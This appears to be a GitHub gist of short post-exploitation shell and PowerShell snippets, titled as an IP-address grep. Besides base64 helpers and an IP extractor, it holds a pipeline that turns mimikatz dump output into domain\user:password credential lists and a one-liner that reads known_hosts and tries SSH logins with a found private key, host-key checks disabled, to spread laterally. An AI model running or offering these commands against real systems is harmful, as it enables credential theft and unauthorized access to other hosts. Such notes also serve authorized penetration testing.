Skip to content

Instantly share code, notes, and snippets.

@JamesHovious
Last active February 10, 2016 05:16
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save JamesHovious/8b8738f8a585e5e353d9 to your computer and use it in GitHub Desktop.
Save JamesHovious/8b8738f8a585e5e353d9 to your computer and use it in GitHub Desktop.
grep for ip addresses w/ regex
function encode_base64($string)
{
$string_bytes = [System.Text.Encoding]::Unicode.GetBytes($string)
return [System.Convert]::ToBase64String($string_bytes)
}
function decode_base64($base64)
{
$base_bytes = [System.Convert]::FromBase64String($base64)
return [System.Text.Encoding]::Unicode.GetString([char[]]$base_bytes)
}
#Get all ip addresses from a file "scan.xml" and write the results to "list_of_ips.txt"
cat scan.xml | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' > list_of_ips.txt
# Parse mimikatz output
cat mimikatz_dump.txt | pcregrep -M 'Username\s+:\s+[^\s]+\n.*Domain\s+:\s+[^\s]+\n.*Password\s+:\s+[^\s]+\n' | sed "s/'/\\\'/" | xargs -L 3 echo | grep -v '\(null\)' | sed -e 's/* Username : //g;s/* Domain ://g;s/* Password ://g' | awk '{print $2 "\\" $1 ":" $3}' | sort | uniq
# Cat/connect to known hosts with ssh key via ~/.ssh directory
cat known_hosts  | awk '{print $1}' | awk -F, '{print $1}' | sort -u | xargs -I{} sh -c 'echo "Reading {}"; ssh -i id_rsa -o BatchMode=yes -o ConnectTimeout=3 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null {} sh -c "hostname" || true' 2> /dev/null
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment